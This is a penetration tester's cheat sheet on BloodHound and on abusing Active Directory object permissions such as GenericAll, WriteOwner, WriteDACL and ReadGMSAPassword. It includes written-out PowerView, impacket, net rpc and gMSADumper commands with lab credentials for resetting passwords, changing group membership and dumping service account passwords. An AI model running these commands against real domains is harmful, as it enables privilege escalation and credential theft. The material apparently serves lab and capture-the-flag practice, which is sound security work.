Table of Contents
Summery
BloodHound is a tool for visualising Active Directory relationships and identifying attack paths that might otherwise go unnoticed. It uses the SharpHound PowerShell or C# ingestor to collect AD data, which is then imported into the BloodHound JavaScript (Electron) application and analysed graphically using a Neo4j database.
Tools
SharpHound
bloodhound.py
Rusthound
netexec
Custom queries
You can utilize this custom “Cypher query” in BloodHound to get additional data.
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2 - Get users with “CanPSRemote” access
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2 - Check for SQL Admin Rights
MATCH (m:User) RETURN m - Show all users in the domain
MATCH (m:Computer) RETURN m - Show all computers in the domain
MATCH (m:Group) RETURN m - Show all groups in the domain
MATCH (m:GPO) RETURN m - Show all group policies in the domain
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p - Show active user sessions on hosts
Object Permissions
Here are other common BloodHound permissions and their meanings in the context of Active Directory (AD):
- GenericAll: Full control over an object, allowing any action, such as resetting passwords or modifying group memberships.
- GenericWrite: Ability to modify attributes of an object but not full control (e.g., change login scripts).
- WriteOwner: Permission to change the ownership of an object, enabling indirect full control.
- WriteDACL: Permission to modify the object’s DACL, potentially granting additional access to others.
- AllExtendedRights: Allows all extended actions on an object, such as resetting passwords or forcing replication.
- ExtendedRight: Grants specific rights, like resetting passwords or managing replication.
- AddMember: Permission to add members to a group, potentially escalating privileges.
- Owns: Indicates ownership of an object, which grants inherent control.
- ForceChangePassword: Right to reset another user’s password without knowing the original.
- ReadLAPSPassword: Access to the Local Administrator Password Solution (LAPS) password for a machine.
- WriteGPLink: Gives a permission to link an existing GPO to an OU/domain by modifying its
gPLinkattribute
These permissions define various levels of access and control over AD objects, making them critical for identifying privilege escalation and attack paths.
GenericAll
(Windows) - PowerView’s GenericAll to password change - (User)
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
You can also perform other actions than changing the password, like adding a user to a specific group (if given permissions are met)
Add-DomainGroupMember -Identity "Remote Desktop Users" -Members "robert" -Credential $Cred
(Linux) - Targeted kerberoasting - (User)
This is the simplest one. As we can add SPN to any account we can just use targetedKerberoast.py to get the TGS hash for cracking.
(Linux) - Samba, add the user to the target group - (Group)
net rpc group addmem "Lansweeper Admins" "svc_inventory_lnx" -U "sweep.vl"/"svc_inventory_lnx"%"0|5m-U6?/uAX" -S "inventory.sweep.vl"
GenericWrite
GenericWrite access grants you the ability to write to any non-protected attribute on the target object, including “members” for a group, and “serviceprincipalnames” for a user.
(Windows/Linux) - Shadow Credentials
Can be performed with Certipy or pywhisker.py/Whisker.exe - preferebly the former.
(Linux) - Targeted kerberoasting
This is the simples one. As we can add SPN to any account we can just use targetedKerberoast.py to get the TGS hash for cracking.
WriteOwner
This right allows you to modify the owner of the group/user, and therefor apply changes like adding new accounts to the group.
(Linux) - Taking ownership of the group -> adding an account the the group
To change the ownership of the object, you may use impacket-owneredit.
impacket-owneredit -action write -new-owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'
To abuse ownership of a group object, you may grant yourself the AddMember permission impacket-dacledit:
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguishedName' 'domain'/'controlledUser':'password'
With that, you can now add members to the group. Use samba’s net tool to add the user to the target group:
net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController" - For pass-the-hash
Lastly, verify if your change was aplied:
net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
BloodyAD can also be used for the above steps.
(Linux) - Gain secret credentials
pywhisker.py and Whisker.exe
Used in: Certified
WriteDACL
With write access to the target object’s DACL, you can grant yourself any permission you want on the object.
(Windows) - PowerView’s GenericAll to password change
You can change the target user’s password using PowerView. You don’t even need a password for you attack user.
Add-DomainObjectAcl -Rights all -TargetIdentity GPOADM -PrincipalIdentity Amelia.Griffiths- Give your current, attack user GenericAll over the target user$SecPassword = ConvertTo-SecureString 'zaq1@WSX' -AsPlainText -Force- Create a password security objectSet-DomainUserPassword GPOADM -AccountPassword $SecPassword- Apply it to the target user
This is really cool, no attacker password required! - If your current Windows session is authenticated as the user you want to use to get GenericAll to, you can try to omit the often seen -Credential $Cred part. PowerView will use your current security context - really worth remembering.
Used in: BabyTwo
WriteGPLink
If WriteGPLink is pared with an ability to add new GPOs or you already have right over some policy you can abuse this for privilege escalarion - I mentioned it in Abusing GPOs.
Enroll
If a user has permissions to enroll in certain AD Certificate Templates, they can request some insecure certificates that allow them to impersonate other users. You can use Certipy to test for those.
As always in pentesting, bloodhound can make mistakes, sometimes the enroll right in reality doesn’t let you to enroll in a given certificate tempalte - happened in BabyTwo.
ReadGMSAPassword
GMSA stands for Group Managed Service Account (gMSA), passwords to those service accounts are ever changing, but this specific right allows you to view them.
You can remotely retrieve those passwords and convert it into a NT hash with gMSADumper.py.
python gMSADumper.py -u alfred -p basketball -d tombwatcher.htb -l 10.129.15.163 - Basic usage
Execution privileges
RDP privileges
PSRemote privileges
DCOM privileges
SQL admin rights
The user SVC_MSSQL@BREACH.VL is a SQL admin on the computer BREACHDC.BREACH.VL.
There is at least one MSSQL instance running on BREACHDC.BREACH.VL where the user SVC_MSSQL@BREACH.VL is the account configured to run the SQL Server instance. The typical configuration for MSSQL is to have the local Windows account or Active Directory domain account that is configured to run the SQL Server service (the primary database engine for SQL Server) have sysadmin privileges in the SQL Server application. As a result, the SQL Server service account can be used to log into the SQL Server instance remotely, read all of the databases (including those protected with transparent encryption), and run operating systems command through SQL Server (as the service account) using a variety of techniques.
For Windows systems that have been joined to an Active Directory domain, the SQL Server instances and the associated service account can be identified by executing a LDAP query for a list of “MSSQLSvc” Service Principal Names (SPN) as a domain user. In short, when the Database Engine service starts, it attempts to register the SPN, and the SPN is then used to help facilitate Kerberos authentication.
Author: Scott Sutherland
Scott Sutherland (@nullbind) from NetSPI has authored PowerUpSQL, a PowerShell Toolkit for Attacking SQL Server.